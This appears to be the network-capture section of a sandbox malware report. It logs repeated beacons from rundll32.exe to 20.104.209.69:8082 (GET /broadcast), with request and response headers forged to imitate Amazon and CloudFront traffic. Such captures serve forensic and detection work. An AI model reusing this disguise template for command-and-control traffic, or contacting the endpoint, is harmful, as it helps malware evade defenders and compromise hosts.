Jan 8, 2023 16:10:53.999269962 CET	2059	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:54.117840052 CET	2060	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:45 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
533	192.168.2.6	50232	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:54.374128103 CET	2063	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:54.492630005 CET	2063	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:45 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
534	192.168.2.6	50233	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:54.768446922 CET	2066	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:54.886981964 CET	2066	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:46 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
535	192.168.2.6	50234	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:55.134573936 CET	2069	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:55.253361940 CET	2069	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:46 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
536	192.168.2.6	50235	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:55.508152008 CET	2072	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:55.626467943 CET	2073	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:46 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
537	192.168.2.6	50236	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:10:55.885914087 CET	2075	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:10:56.004635096 CET	2076	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:10:47 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.6	49752	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:21.238722086 CET	527	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:21.356679916 CET	528	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:12 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.6	49753	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:21.642441988 CET	531	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:21.760648966 CET	531	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:13 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.6	49754	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:22.009047031 CET	534	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:22.127324104 CET	534	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:13 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.6	49755	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:22.386728048 CET	537	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:22.505353928 CET	538	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:13 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.6	49756	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:22.759526968 CET	540	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:22.879101992 CET	541	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:14 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.6	49757	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:23.134382010 CET	544	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:23.253525972 CET	544	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:14 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.6	49704	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:06:59.366625071 CET	375	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:06:59.485723972 CET	376	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:50 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.6	49758	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:23.528234959 CET	547	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:23.645656109 CET	547	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:14 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.6	49759	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:23.951535940 CET	550	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:24.069088936 CET	550	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:15 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.6	49760	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:24.324841976 CET	553	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:24.443370104 CET	553	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:15 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.6	49761	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:24.701370955 CET	556	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:24.820590019 CET	557	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:16 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.6	49762	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:25.089502096 CET	559	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:25.208039999 CET	560	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:16 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.6	49763	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:25.465699911 CET	562	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:25.583774090 CET	563	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:16 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.6	49764	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:25.842997074 CET	566	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:25.962726116 CET	566	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:17 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.6	49765	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:26.424166918 CET	569	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
